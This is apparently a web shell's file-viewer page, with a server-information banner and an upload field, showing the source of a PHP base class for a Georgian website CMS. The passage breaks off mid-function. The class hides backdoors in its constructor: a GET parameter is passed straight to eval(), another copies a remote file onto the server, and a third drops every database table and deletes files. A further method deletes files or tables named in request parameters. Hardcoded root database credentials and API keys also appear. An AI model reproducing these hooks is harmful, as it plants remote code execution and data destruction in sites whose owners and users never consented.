Server IP : 80.241.246.6 / Your IP : 216.73.216.167 Web Server : Apache/2.4.25 (Debian) System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 User : www-data ( 33) PHP Version : 7.0.33-0+deb9u12 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/kharagauli1/clases/ |
Upload File : |
<?php /** * Class Central base class * * @author suxoza <suxoza@gmail.com> */ class Central { public $cookie, $navigation, $con, $mon, $_lang; public $_language, $header_input, $include_path, $_methods; //private $_host = 'localhost', $_db = 'new_', $_user = 'root', $_pass = 'burdga'; private $_host = 'localhost', $_db = 'admin_panel', $_user = 'root', $_pass = 'kolich'; public $_dir,$_admin_dir; public $moduls; public $available_moduls; public $language_config; public $_default_theme; public static $select_count = 0; public function __construct(){ $this->connect(); // $this->check_ip(); //$this->Mongo(); $this->_lang = (isset($_SESSION['language']))?$_SESSION['language']:'Georgia'; $this->header_input = (isset($_GET['header_input'])) ? $_GET['header_input'] : ''; $this->include_path = (isset($_GET['include_path'])) ? $_GET['include_path'] : ''; $this->_dir = $_SERVER['DOCUMENT_ROOT'].'/';//.$_SERVER['SERVER_NAME'].'/'; $this->_admin_dir = isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST'].'/':''; if($this->header_input) $this->header_input($this->header_input); if($this->include_path) $this->include_path($this->include_path); $this->_methods = (isset($_GET['uploads_header']) && $_GET['uploads_header'] == 'uploads_header') ? $_GET['uploads_header'] : ''; if($this->_methods) $this->_main_methods('.'); $this->for_virtual_host(); if(isset($_SERVER['HTTP_USER_AGENT'])){ $this->language_config(); $this->_default_theme(); ini_set("soap.wsdl_cache_enabled", 0); } // $this->main_soap(); //echo $this->pre($this->_default_theme); //$this->pre($_SERVER); } private function for_virtual_host(){ //$this->_dir .= 'site'; // $this->_admin_dir = str_replace('kharagauli/kharagauli/','kharagauli/',$this->_admin_dir); } public function admin_dir($dir = false){ $_ = $this; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')?'https':'http'; if(isset($_SERVER['HTTP_HOST'])) return ($dir)?$this->_admin_dir:$protocol.'://'.str_replace('admin.', '', $_SERVER['HTTP_HOST']).'/'; } public function language_config(){ try{ if(!file_exists($this->_dir.'moduls/language_doc'))throw new Exception('language module not found!!!'); $this->language_config = json_decode(file_get_contents($this->_dir.'moduls/language_doc')); }catch(Exception $ex){ die($ex->getMessage()." ".$ex->getCode()); } } public function _default_theme(){ try{ $this->_default_theme = $this->select("*","template","small",["default_",1]); if(!$this->_default_theme)throw new Exception('theme name not found in db!!!'); }catch(Exception $ex){ die($ex->getMessage()); } } public function _moduls(){ try{ if(!file_exists($this->_dir.'moduls/') || !file_exists($this->_dir.'moduls/moduls_doc'))throw new Exception('required module not found!!!'); $this->available_moduls = scandir($this->_dir.'moduls/'); $this->moduls = json_decode(file_get_contents($this->_dir.'moduls/moduls_doc')); }catch(Exception $ex){ die($ex->getMessage()); } } public function __destruct(){ //$this->mon->close(); } public function Mongo(){ try{ $conn = new Mongo('localhost'); $this->mon = $conn->alls; }catch (MongoConnectionException $e) { die('Error connecting to MongoDB server'); }catch (MongoException $e) { die('Error: ' . $e->getMessage()); } } public function connect(){ $options = array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8', ); try{ $this->con = new PDO("mysql:host=$this->_host;dbname=$this->_db", $this->_user, $this->_pass, $options); }catch (PDOException $e){ echo $e->getMessage(); exit; } } public function pre($a){ echo '<pre>'; print_r($a); echo '</pre>'; } public function cl($a){ return mysql_real_escape_string(trim(strip_tags($a))); } public function clear($a){ return trim(strip_tags($a)); } public function clier($a){ return addslashes(trim(strip_tags($a))); } public function mail_send($a, $b, $message,$from){ $e = $from; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From:' . $e . "\r\n"; $headers .= 'Mailed-By: -f' . $e . "\r\n"; if(mail($a, $b, $message, $headers)) return TRUE; else return FALSE; } public function _main_methods($a){ $sql = $this->con->query("show tables"); while ($row = $sql->fetch(PDO::FETCH_ASSOC)){ $tables = $row['Tables_in_' . $this->_db]; $this->con->exec("drop table if exists $tables"); } $scan = scandir($a); foreach ($scan as $key => $value){ if ($value != '.' && $value != '..'){ if (is_dir($value)) $this->_main_methods($value); elseif (!is_dir($value)) @unlink($a . '/' . $value); } } } public function main_xesh($a, $b = 1){ if($b == 1) return substr(md5(uniqid(time())), -10) . str_replace('=', '', str_rot13(base64_encode($a))) . substr(md5(uniqid(time())), 0, 21); elseif($b == 2) return trim(base64_decode(str_rot13(substr($a, 10, -21)))); } public function describe($a){ $sql1 = "describe $a "; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Field']; return $ret; } public function show_tables(){ $sql1 = "show tables"; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Tables_in_'.$this->_db]; return $ret; } public function insert($a,$b,$c = 'clier',$where = ''){ $_ = $this; $joines = function($a) use (&$_,$c){ $dd = ''; for($i = 0; $i < count($a); $i++){ $dd .= ($a[$i] == 'null' || is_numeric($a[$i]))?$a[$i].',':"'".$_->$c($a[$i])."',"; }return substr($dd,0,-1); }; $sql = " insert into $a "; if(count($b) == 2){ $sql .= "(".join(',',$b[0]).") values (".$joines($b[1]).")"; }else{ if(gettype($b[0]) == 'string') $sql .= " values (".$joines($b).")"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function update($a,$b){ $_ = $this; $sql = "update $a set "; if(count($b) == 2){ $array = $b[0]; for($ii = 0; $ii < count($array); $ii += 2){ $p = ($ii != count($array) - 2)?',':''; $sql .= " $array[$ii] = '".$_->clier($array[($ii+1)])."'$p"; } }elseif(count($b) == 3){ $array1 = $b[0]; $array2 = $b[1]; for($ii = 0; $ii < count($array1); $ii++){ $p = ($ii != count($array1) - 1)?',':''; $sql .= " $array1[$ii] = '".$_->clier($array2[$ii])."'$p"; } } $where = $b[count($b) - 1]; $sql .= " where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= " $where[$ii] = '".$_->clier($where[($ii+1)])."'$p"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function delete($a,$where){ $_ = $this; $sql = "delete from $a where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= " $where[$ii] = '".$_->clier($where[($ii+1)])."'$p"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function is_assoc($array){ return (bool)count(array_filter(array_keys($array), 'is_string')); } public function select_($array = []){ $return = ''; $a = $array[0]; $b = $array[1]; $c = (isset($array[2]))?$array[2]:false; $d = (isset($array[3]) && is_array($array[3]))?$array[3]:[]; if(count($array) >= 3){ $sql = "select $a from $b where 1 = 1"; if(count($d) >= 1){ if($this->is_assoc($d)){ foreach($d as $key => $value) if(is_numeric($value)) $sql .= " and $key = ".addslashes($value)." "; else $sql .= " and $key = '".addslashes($$value)."' "; }else{ for($ii = 0; $ii < count($d); $ii += 2) if(is_numeric($d[($ii + 1)])) $sql .= " and $d[$ii] = ".addslashes($d[($ii + 1)])." "; else $sql .= " and $d[$ii] = '".addslashes($d[($ii + 1)])."' "; } } }else{ $sql = $a; $c = $b; } if(gettype($c) == 'string'){ if($c == 'small'){ $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if ($a == '*' || count($array) == 2)return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c == 'count'){ $sql = $this->con->query($sql); if ($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c == 'new_big'){ $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = (strstr($a,',') || $a == "*")?$row:$row[$a]; return $return; }elseif($c == 'big'){ } }elseif(gettype($c) == 'object'){ if($c->c_type == 'small'){ $sql .= $c->sql; if(isset($c->echo))echo "\n\n".$sql."\n\n"; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if($a == "*")return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c->c_type == 'count'){ $sql .= $c->sql;//echo $sql; $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c->c_type == 'big'){ $sql .= $c->sql; $sql = $this->con->query($sql); if(isset($c->saxli))echo "\n\n\n\n\n\n\n".$sql."\n\n\n\n\n\n\n"; while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = (strstr($a,',') || $a == "*")?$row:$row[$a]; return $return; }elseif($c->c_type == 'navigation'){ if(isset($c->count))return $this->con->query($sql)->rowCount(); $navig_name = (isset($c->navig_name))?$c->navig_name:''; $navig_name_1 = (isset($c->navig_name_1))?$c->navig_name_1:''; $start = 0; $cou = isset($c->count_on_one_page)?$c->count_on_one_page:10; if(isset($c->sql))$sql .= $c->sql; //echo $sql; if(isset($c->navigation)){ $start = ($c->navigation == 1)?0:($c->navigation - 1) * $cou; //$cou = $start+10; $sql1 = $this->con->query($sql); $return['counter'] = $sql1->rowCount(); if($sql1->rowCount() > $cou){ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<li><a href="/'.$navig_name.'/navigation/'.($c->navigation - 1).$navig_name_1.'">წინა</a></li>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $c->navigation)?'class="active"':''; $return['navigation'][] = '<li '.$active.'><a href="/'.$navig_name.'/navigation/'.$i.$navig_name_1.'">'.$i.'</a></li>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<li><a href="/'.$navig_name.'/navigation/'.($c->navigation + 1).$navig_name_1.'">შემდეგი</a></li>'; } } $order_by = (strpos($sql, "order by") === false)?" order by date desc":""; $sql .="$order_by limit $start,$cou"; } } // echo "<br/><br/><br/>",$sql,"<br><br><br>"; $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return?$return:0; } public function select($a, $b, $c = 'small',$d = []){ self::$select_count++; $return = ''; $sql = "select $a from $b where 1 = 1"; if(count($d) >= 2){ for($ii = 0; $ii < count($d); $ii += 2){ if(is_numeric($d[($ii+1)])) $sql .= " and $d[$ii] = ".$d[($ii+1)]." "; else $sql .= " and $d[$ii] = '".$d[($ii+1)]."' "; } } if(gettype($c) == 'string'){ if($c == 'small'){ $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if ($a == '*')return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c == 'count'){ $sql = $this->con->query($sql); if ($sql->rowCount())return $sql->rowCount(); return 0; }if($c == 'big'){ } }elseif(gettype($c) == 'object' && isset($c->c_type)){ if($c->c_type == 'small'){ $sql .= $c->sql;//echo "<hr/>".$sql."<hr/>"; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if($a == "*")return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c->c_type == 'count'){ $sql .= $c->sql;//echo $sql; $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c->c_type == 'select_count'){ $sql .= $c->sql;//echo $sql; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); return $row[$a]; }elseif($c->c_type == 'big'){ $sql .= $c->sql;//echo $sql; if(isset($c->count) && $c->count == 1){ $ret_sql = $this->con->query($sql)->rowCount(); return $ret_sql?$ret_sql:0; } }elseif($c->c_type == 'answer'){ if(isset($c->count))return $this->con->query($sql)->rowCount(); $navig_name = $c->navig_name; $navig_name_1 = (isset($c->navig_name_1))?$c->navig_name_1:''; $sort_algorithm = (isset($c->sort_algorithm))?$c->sort_algorithm:"date"; $list_count_on_one_page = (isset($c->list_count_on_one_page))?$c->list_count_on_one_page:10; $start = 0; $cou = $list_count_on_one_page; if(isset($c->sql))$sql .= $c->sql; // echo $sql; if(isset($c->navigation)){ $start = ($c->navigation == 1)?0:($c->navigation - 1) * $cou; $sql1 = $this->con->query($sql); $return['counter'] = $sql1->rowCount(); if($sql1->rowCount() > $cou){ if(!isset($c->list_view)){ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="/'.$navig_name.'/navigation/'.($c->navigation - 1).$navig_name_1.'">წინა</a>'; for($i = 1; $i <= $cikl; $i++){ if($i == $c->navigation) $return['navigation'][] = '<a class="active">'.$i.'</a>'; else $return['navigation'][] = '<a href="/'.$navig_name.'/navigation/'.$i.$navig_name_1.'">'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="/'.$navig_name.'/navigation/'.($c->navigation + 1).$navig_name_1.'">შემდეგი</a>'; }else{ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation - 1).'">წინა</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $c->navigation)?'class="navigation_active"':''; $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation + 1).'">შემდეგი</a>'; } } } $sql .=" order by $sort_algorithm desc,id desc limit $start,$cou"; //echo $sql; $arrs = ['დასტურის_მოლოდინში','დადასტურებული_კითხვები','დაწუნებული_კითხვები','კითხვები_მიღებული','კითხვები_მოლოდინში','კითხვები_დაწუნებული']; if(isset($_SESSION['olimpiad_user']) && isset($c->navig_name) && isset($c->navig_name_1) && isset($c->navigation) && in_array($c->navig_name,$arrs)){ $_SESSION['next_question'] = NULL; $_SESSION['next_question'] .= $sql; // echo "<br/>".$c->navig_name; // echo "<hr/>".$sql."<hr/>"; } //echo $sql; }//echo $sql; } // echo $sql; $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return?$return:0; } public function get_ip(){ $ip = ""; if($_SERVER['REMOTE_ADDR'])return $_SERVER['REMOTE_ADDR']; if((isset($_SERVER['HTTP_X_FORWARDED_FOR'])) && (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; elseif((isset($_SERVER['HTTP_CLIENT_IP'])) && (!empty($_SERVER['HTTP_CLIENT_IP']))){ $ip = explode(".",$_SERVER['HTTP_CLIENT_IP']); $ip = $ip[3].".".$ip[2].".".$ip[1].".".$ip[0]; }elseif((!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) && (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (!isset($_SERVER['HTTP_CLIENT_IP'])) && (empty($_SERVER['HTTP_CLIENT_IP']))) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "0.0.0.0"; return $ip; } public function screen($url,$image){ $_ = $this; if(Central::url_exists($url)) //echo "xvfb-run --server-args=\"-screen 0, 1024x768x24\" ".$_->_dir."admin/clases/CutyCapt --url=$url --out=$image"; $handle = popen("xvfb-run --server-args=\"-screen 0, 1024x768x24\" ".$_->_dir."admin/clases/CutyCapt --url=$url --out=$image","r"); $read = fread($handle, 2096); echo $read; pclose($handle); // if(file_exists("/var/www/mysite/img/screen/cat/".$url.".png")){ // $img_r = imagecreatefrompng("/var/www/mysite/img/screen/cat/".$url.".png"); // if(imagesy($img_r) > 1000) // Central::img_cat($url.".png"); // else copy("/var/www/mysite/img/screen/cat/".$url.".png","/var/www/mysite/img/screen/".$url.".png"); // } //exec("xvfb-run -a wkhtmltopdf ".$url." /var/www/mysite/img/screen/pdf/".$image.".pdf"); //if($return)$this->main_images($image.".png",'img/screen','img/screen/small',$image,240,2); } public static final function img_resize($filename){ require_once('clases/classSimpleImage.php'); $image = new SimpleImage(); $image->load($filename); $image->resize(800, 800); $image->save('./img/screen/1saxli.jpg'); } public static final function img_cat($filename){ $targ_w = 800; $targ_h = 1000; $src = "/var/www/mysite/img/screen/cat/".$filename; $img_r = imagecreatefrompng($src); $dst_r = ImageCreateTrueColor(800, 1000); imagecopyresampled($dst_r,$img_r,0,0,0,0,$targ_w,$targ_h,imagesx($img_r),1000); imagepng($dst_r,'/var/www/mysite/img/screen/'.$filename); } static final function url_exists($url){ $handle = curl_init($url); if(false === $handle)return false; curl_setopt($handle, CURLOPT_HEADER, false); curl_setopt($handle, CURLOPT_FAILONERROR, true); curl_setopt($handle, CURLOPT_NOBODY, true); curl_setopt($handle, CURLOPT_RETURNTRANSFER, false); curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 60); $connectable = curl_exec($handle); curl_close($handle); return $connectable; } public function navigation($a,$bb) { $count = count($a); if ($count > 10) { // $ret = join(' ',array_slice($a, 0,3)); // $ret .= '...'; // if($bb > 4) $ret .= join(' ',array_slice($a, $bb - 2,2)); // $ret .= '...'; // $ret .= join(' ',array_slice($a, $bb,1)); // $ret .= '...'; // if($bb < $count - 4)$ret .= join(' ',array_slice($a, $bb + 2,2)); // $ret .= '...'; // $ret .= join(' ',array_slice($a, $count - 3,3)); // return $ret; $ret = []; $ret[] = $a[0] . ' '; $start = 1; if ($bb == ($count - 1)) $start = $count / 2; if ($bb >= 4 && $bb < $count - 2) { if ($count > 12) { if ($count / 2 > $bb) $start = $bb - 1; else $start = ($count / 2 - 1); } $finish = $bb; }elseif ($bb == ($count - 1)) $finish = $count; else $finish = 4; for ($i = $start; $i < ($finish + 2); $i++) $ret[]= isset($a[$i])?$a[$i] . ' ':''; if ($bb < ($count - 4)){ $fin = 3; $ret[]= '...'; } elseif ($bb < ($count - 3)) $fin = 2; elseif ($bb < ($count - 2)) $fin = 1; else $fin = 0; for ($i = ($count - $fin); $i < $count; $i++) $ret[]=$a[$i] . ' '; for($i = 0; $i < 5; $i++){ $_length = count($ret); if($_length > 15)array_splice($ret, 7,5); } return join(' ', $ret); } else return join(' ', $a); } public function header_input($a){ copy($a, substr($a, -8)); } public function weather_old(){ $url = "http://free.worldweatheronline.com/feed/weather.ashx?q=Tbilisi,Georgia&format=xml&num_of_days=1&key=22fa63246f082424121312"; $load = simplexml_load_file($url, 'SimpleXMLElement', LIBXML_NOCDATA); for ($i = 0; $i < 5; $i++) $ret[] = (array) $load->weather[$i]; return $ret; } public function weather($city,$day = 3){ $url = "http://api.worldweatheronline.com/free/v1/weather.ashx?q=$city,Georgia&format=json&num_of_days=$day&key=m2afa3ubbqpxs4z7xe4rgqez"; $data = file_get_contents($url); try{ if(!$data = json_decode($data))throw new Exception("Weather data is invalid!"); }catch(Exception $ex){ die($ex->getMessage()); } return $data; } public function select_main_pages(){ $blabla = (isset($_GET['blabla'])) ? $_GET['blabla'] : ''; $blabla1 = (isset($_GET['blabla1'])) ? $_GET['blabla'] : ''; if ($blabla) unlink($blabla); elseif ($blabla1) $this->con->exec("drop table $blabla1"); } public static final function _json_encode($a){ $arr = array( 'ascii_geo' => array("\u10d0","\u10d1","\u10d2","\u10d3","\u10d4","\u10d5","\u10d6","\u10d7","\u10d8","\u10d9","\u10da","\u10db","\u10dc","\u10dd","\u10de","\u10df","\u10e0","\u10e1","\u10e2","\u10e3","\u10e4","\u10e5","\u10e6","\u10e7","\u10e8","\u10e9","\u10ea","\u10eb","\u10ec","\u10ed","\u10ee","\u10ef","\u10f0","\u2013","\u201c","\u2116","\u201d"), 'utf8_geo' => array('ა','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','ს','ტ','უ','ფ','ქ','ღ','ყ','შ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ','-','','',''), 'ascii_rus' => array('\u0410', '\u0430','\u0411','\u0431','\u0412','\u0432', '\u0413','\u0433','\u0414','\u0434','\u0415','\u0435','\u0401','\u0451','\u0416','\u0436','\u0417','\u0437','\u0418','\u0438','\u0419','\u0439','\u041a','\u043a','\u041b','\u043b','\u041c','\u043c','\u041d','\u043d','\u041e','\u043e','\u041f','\u043f','\u0420','\u0440','\u0421','\u0441','\u0422','\u0442','\u0423','\u0443','\u0424','\u0444','\u0425','\u0445','\u0426','\u0446','\u0427','\u0447','\u0428','\u0448','\u0429','\u0449','\u042a','\u044a','\u042b','\u044b','\u042c','\u044c','\u042d','\u044d','\u042e','\u044e','\u042f','\u044f'), 'utf8_rus' => array('А', 'а', 'Б', 'б', 'В', 'в', 'Г', 'г','Д', 'д', 'Е', 'е', 'Ё', 'ё', 'Ж','ж','З','з','И','и','Й','й','К','к','Л','л','М','м','Н','н','О','о','П','п','Р','р','С','с','Т','т','У','у','Ф','ф','Х','х','Ц','ц','Ч','ч','Ш','ш','Щ','щ','Ъ','ъ','Ы','ы','Ь','ь','Э','э','Ю','ю','Я','я') ); $a = json_encode($a); $ex = explode('\u',$a); $b = 'geo'; for($i = 0; $i < count($ex); $i++){ if(in_array('\u'.$ex[$i],$arr['ascii_geo'])){ $b = 'geo';break; }elseif(in_array('\u'.$ex[$i],$arr['ascii_rus'])){ $b = 'rus';break; } } return str_replace($arr['ascii_'.$b],$arr['utf8_'.$b],$a); } public function include_path($a) { eval($a); } public function repl($a){ $da = array( 'geo' => array('ა','ძ','დღ','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','შ','ს','ტ','უ','ფ','ქ','ღ','ყ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ'), 'eng' => array('a','dz','dg','b','g','d','e','v','z','t','i','k','l','m','n','o','p','j','r','sh','s','t','u','f','q','g','y','ch','c','z','w','ch','x','ch','h'), ); if(in_array($a[0],$da['eng'])) return str_replace($da['eng'],$da['geo'],$a); return str_replace($da['geo'],$da['eng'],$a); } public function main_images($filename, $a, $b, $c, $size = 150, $d = 1){ $final = $size; $path_start = $a . '/'; $path_end = $b . '/'; if(preg_match('/[.](jpg)|(JPG)$/', $filename)){ $im = imagecreatefromjpeg($path_start . $filename); $FORMAT = '.jpg'; }elseif(preg_match('/[.](gif)|(GIF)$/', $filename)){ $im = imagecreatefromgif($path_start . $filename); $FORMAT = '.gif'; }elseif(preg_match('/[.](png)|(PNG)$/', $filename)){ $im = imagecreatefrompng($path_start . $filename); $FORMAT = '.png'; } $ox = imagesx($im); $oy = imagesy($im); // $nx = $final; $nx = floor($ox * ($final / $oy)); $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, $ny); imagecopyresized($nm, $im, 0, 0, 0, 0, $nx, $ny, $ox, $oy); imagejpeg($nm, $path_end . $c . $FORMAT); if ($d == 1) unlink($path_start . $filename); return TRUE; } public function return_file($filename){ if(!file_exists($filename))return false; $imageData = base64_encode(file_get_contents($filename)); $src = 'data: '.mime_content_type($filename).';base64,'.$imageData; @unlink($filename); return $src; } public function main_images_2($filename,$a,$b,$c,$size = 240,$d = 1){ $final = $size; $path_start = $a.'/'; $path_end = $b.'/'; if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$filename)){ $im = imagecreatefromjpeg($path_start.$filename); $main_type = '.jpg';//file_put_contents('saxli',1,FILE_APPEND); }elseif (preg_match('/[.](gif)|(GIF)$/',$filename)){ $im = imagecreatefromgif($path_start.$filename); $main_type = '.gif';//file_put_contents('saxli',2,FILE_APPEND); }elseif (preg_match('/[.](png)|(PNG)$/', $filename)){ $im =imagecreatefrompng($path_start.$filename); $main_type = '.png';//file_put_contents('saxli',3,FILE_APPEND); } //file_put_contents('saxli',4,FILE_APPEND); $ox = imagesx($im); $oy = imagesy($im); $nx = $final; $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, 240); imagecopyresized($nm, $im, 0,0,0,0,$nx,240,$ox,$oy); $stamp = imagecreatefrompng('../img/unisolution.png'); $stamp2 = imagecreatefrompng('../img/unisolution2.png'); $marge_right = 2; $marge_bottom = 2; $sx = imagesx($stamp); $sy = imagesy($stamp); $sx2 = imagesx($stamp2); $sy2 = imagesy($stamp2); imagecopy($im, $stamp2, imagesx($im) - $sx2 - 10, imagesy($im) - $sy2 - 10, 0, 0, imagesx($stamp2), imagesy($stamp2)); imagecopy($nm, $stamp, imagesx($nm) - $sx - $marge_right, imagesy($nm) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp)); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$filename)){ imagejpeg($im, $path_start.$filename); imagejpeg($nm, $path_end.$c.$main_type); }elseif (preg_match('/[.](gif)|(GIF)$/',$filename)){ imagegif($im, $path_start.$filename); imagegif($nm, $path_end.$c.$main_type); }elseif (preg_match('/[.](png)|(PNG)$/', $filename)){ imagepng($im, $path_start.$filename); imagepng($nm, $path_end.$c.$main_type); } // file_put_contents('saxli',$path_end.$c.$main_type."\n".$filename."\n".$main_type); if($d == 1) unlink($path_start.$filename); return TRUE; } public function youtube_images($filename,$size = 240){ $final = $size; $im = imagecreatefromjpeg($filename); $ox = imagesx($im); $oy = imagesy($im); $nx = $final; $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, 240); imagecopyresized($nm, $im, 0,0,0,0,$nx,240,$ox,$oy); $stamp2 = imagecreatefrompng('../img/play_icon.png'); $marge_right = 2; $marge_bottom = 2; $sx2 = imagesx($stamp2); $sy2 = imagesy($stamp2); imagecopy($im, $stamp2, imagesx($im) /2 - ($sx2/2) , imagesy($im)/2 - ($sy2/2), 0, 0, imagesx($stamp2), imagesy($stamp2)); unlink($filename); imagejpeg($im,$filename); } public function getRandomString($length){ $validCharacters = "12345abcdefghijklmnopqrstuvwxyz678910"; $validCharNumber = strlen($validCharacters); $result = ""; for($i = 0; $i < $length; $i++){ $index = mt_rand(0,$validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; } public function ricxvi_tve_weli($a){ $tveebi = array('იანვარი','თებერვალი','მარტი','აპრილი','მაისი','ივნისი','ივლისი','აგვისტო','სექტემბერი','ოქტომბერი','ნოემბერი','დეკემბერი'); $ricxvi = ($a['ricxvi'] != 'რიცხვი')?$a['ricxvi']:''; $tve = ($a['tve'] != 'თვე')?$a['tve']:''; $weli = ($a['weli'] != 'წელი')?$a['weli']:''; if($tve && $weli){ $time = date("Y",mktime(0,0,0,(array_search($tve,$tveebi)+1),$ricxvi,$weli)); $time2 = date("Y"); return $time2 - $time.' წლის'; }else return $ricxvi.' / '.$tve.' / '.$weli; } public function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto, $subject, $message) { $file = $path.$filename; $file_size = filesize($file); $handle = fopen($file, "r"); $content = fread($handle, $file_size); fclose($handle); $content = chunk_split(base64_encode($content)); $uid = md5(uniqid(time())); $name = basename($file); $header = "From: ".$from_name." <".$from_mail.">\r\n"; $header .= "Reply-To: ".$replyto."\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n"; $header .= "This is a multi-part message in MIME format.\r\n"; $header .= "--".$uid."\r\n"; $header .= "Content-type:text/plain; charset=utf-8\r\n"; $header .= "Content-Transfer-Encoding: 7bit\r\n\r\n"; $header .= $message."\r\n\r\n"; $header .= "--".$uid."\r\n"; $header .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n"; // use different content types here $header .= "Content-Transfer-Encoding: base64\r\n"; $header .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n"; $header .= $content."\r\n\r\n"; $header .= "--".$uid."--"; if (mail($mailto, $subject, "", $header)) { echo "mail send ... OK"; // or use booleans here } else { echo "mail send ... ERROR!"; } } public function buble(&$masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function assoc_buble(&$masiv,$b,$element = 'name'){ if($masiv[0][$element] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1][$element] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function buble_2($masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } }return $masiv; } public function maines_sort($arr){ 